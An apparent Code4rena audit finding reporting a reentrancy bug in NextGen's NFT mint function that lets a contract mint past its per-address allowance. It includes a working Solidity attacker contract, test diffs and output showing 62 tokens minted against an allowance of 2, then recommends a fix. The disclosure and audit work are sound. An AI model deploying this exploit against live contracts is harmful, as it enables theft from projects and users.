Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 178/243
Findings: 1
Award: $0.15
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
Users are able to mint as many NFTs as far as they don't run out of gas despite the maximum mint allowance per address that is set by the collection.
Inside NextGenCore.sol (https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/NextGenCore.sol#L193) when the minter contract calls the mint function, the storage variables responsible for tracking the balance of minted tokens of a user are updated after the _mintProcessing function.
The _mintProcessing function eventually calls _checkOnERC721Received (https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/ERC721.sol#L400) and makes an external call if the NFTs are minted to a contract address. The attacker that receives the tokens can reenter into the MinterContract.sol mint function (https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/MinterContract.sol#L196C2-L196C2) numerous times and will be able to successfully mint tokens despite what is the allowed mint count by the collection since the balance of the attacker will update after the reentrancy.
Create file TestAttackerMintReentrancy.sol inside https://github.com/code-423n4/2023-10-nextgen/tree/main/hardhat/smart-contracts
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./IMinterContract.sol"; import "./IERC721Receiver.sol"; interface IMinter { function mint( uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o ) external payable; } contract TestAttackerMintReentrancy { IMinter minterContract; bool received; uint exploitMintCount; Data lastUserData; uint initialGas; uint gasPerIteration; struct Data { uint256 _collectionID; uint256 _numberOfTokens; uint256 _maxAllowance; string _tokenData; address _mintTo; bytes32[] merkleProof; address _delegator; uint256 _saltfun_o; } constructor(address _minter) { minterContract = IMinter(_minter); } function mint( Data memory _lastUserData ) public payable { initialGas = gasleft(); lastUserData = _lastUserData; received = false; minterContract.mint( _lastUserData._collectionID, _lastUserData._numberOfTokens, _lastUserData._maxAllowance, _lastUserData._tokenData, _lastUserData._mintTo, _lastUserData.merkleProof, _lastUserData._delegator, _lastUserData._saltfun_o ); } function attack( Data memory _lastUserData ) public payable { minterContract.mint( _lastUserData._collectionID, _lastUserData._numberOfTokens, _lastUserData._maxAllowance, _lastUserData._tokenData, _lastUserData._mintTo, _lastUserData.merkleProof, _lastUserData._delegator, _lastUserData._saltfun_o ); delete lastUserData; } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { if (exploitMintCount == 0) { gasPerIteration = initialGas - gasleft(); } exploitMintCount++; if (!received) { if ((gasleft() / gasPerIteration) < 1) { received = true; } this.attack(lastUserData); } return IERC721Receiver.onERC721Received.selector; } }
Deploy the contract inside by making the following changes to https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/scripts/fixturesDeployment.js:
diff --git a/fixturesDeployment.original.js b/fixturesDeployment.js index 3c24466..d4bb785 100644 --- a/fixturesDeployment.original.js +++ b/fixturesDeployment.js @@ -42,6 +42,9 @@ const fixturesDeployment = async () => { await hhAdmin.getAddress(), ) + const attackerFactory = await ethers.getContractFactory("TestAttackerMintReentrancy") + const attacker = await attackerFactory.deploy(await hhMinter.getAddress()) + const contracts = { hhAdmin: hhAdmin, hhCore: hhCore, hhMinter: hhMinter, hhRandomizer: hhRandomizer, hhRandoms: hhRandoms, + attacker: attacker, } const signers = {
Add the test inside the test file https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/test/nextGen.test.js:
diff --git a/nextGen.test.original.js b/nextGen.test.js index fa3864c..667795f 100644 --- a/nextGen.test.original.js +++ b/nextGen.test.js @@ -269,6 +269,27 @@ describe("NextGen Tests", function () { }) context("Minting", () => { + it("EXPLOIT: mint more NFTs from collection 1 than the allowed amount (Reentrancy)", async function () { + console.log('Max Allowed to mint tokens per address: ', await contracts.hhCore.viewMaxAllowance(1)); + const attackerAddress = await contracts.attacker.getAddress(); + const balanceBeforeAttack = await contracts.hhCore.balanceOf(attackerAddress); + console.log(`Attacker's balance before the attack: `, balanceBeforeAttack); + + await contracts.attacker.mint({ + _collectionID: 1, + _numberOfTokens: 2, + _maxAllowance: 0, + _tokenData: '{"tdh": "100"}', + _mintTo: attackerAddress, + merkleProof: ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"], + _delegator: signers.addr1.address, + _saltfun_o: 2 + }) + + const balanceAfterAttack = await contracts.hhCore.balanceOf(attackerAddress); + console.log(`Attacker's balance after the attack: `, balanceAfterAttack); + }); + it("#mintNFTCol1", async function () { await contracts.hhMinter.mint( 1, // _collectionID
If we run the tests with npx hardhat test we get the following logs:
Max Allowed to mint tokens per address: 2n Attacker's balance before the attack: 0n Attacker's balance after the attack: 62n
Manual review
Always make sure (whenever possible) that storage variables are updated before making an external call. In this case moving the if statement (https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/NextGenCore.sol#L194C13-L198C14) above _mintProcessing function will fix this issue.
Reentrancy
#0 - c4-pre-sort
2023-11-19T09:13:25Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:04:15Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:16:14Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:16:21Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:00Z
alex-ppg marked the issue as satisfactory